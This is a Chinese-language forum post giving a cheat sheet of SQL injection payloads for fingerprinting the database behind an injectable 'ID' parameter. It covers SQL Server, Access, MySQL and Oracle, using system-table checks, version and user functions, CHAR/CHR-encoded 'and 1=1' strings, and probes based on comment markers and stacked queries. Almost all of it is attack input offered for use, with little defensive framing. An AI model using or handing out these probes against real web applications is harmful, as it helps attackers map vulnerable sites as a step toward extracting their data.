无名 发表于 2022-5-8 20:21:10

【FUT】通过注入点判断数据库的类型

通过注入点判断什么数据库类型具体方法

SQLSERVER:
ID=1 and (select count (*) from sysobjects)>0 返回正常
ID=1 and (select count (*) from msysobjects)>0返回异常
ID=1 and left(version(),1)=5%23//红色字体也可能是4
ID=1 and exists(select id from sysobjects)
ID=1 and length(user)>0
ID=1 CHAR(97) CHAR(110) CHAR(100) CHAR(32) CHAR(49) CHAR(61) CHAR(49)
ACCESS:
ID=1 and (select count (*) from sysobjects)>0 返回异常
ID=1 and (select count (*) from msysobjects)>0返回正常
MYSQL:
id=2 and version()>0 返回正常
id=2 and length(user())>0
id=2 CHAR(97, 110, 100, 32, 49, 61, 49)
ORACLE:
ID=1and '1'||'1'='11
ID=1and 0>(select count(*) from dual)
ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

其他方法:
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库
http://cdn.u1.huluxia.com/g3/M00/F6/03/wKgBOV2jNqSASwBJAAE7wp0JVyQ490.jpghttp://cdn.u1.huluxia.com/g3/M00/F6/03/wKgBOV2jNqWASYmDAACquXoEbjs772.jpghttp://cdn.u1.huluxia.com/g3/M00/F6/03/wKgBOV2jNqaAYTByAAHMAAp-cKE007.jpg
页: [1]
查看完整版本: 【FUT】通过注入点判断数据库的类型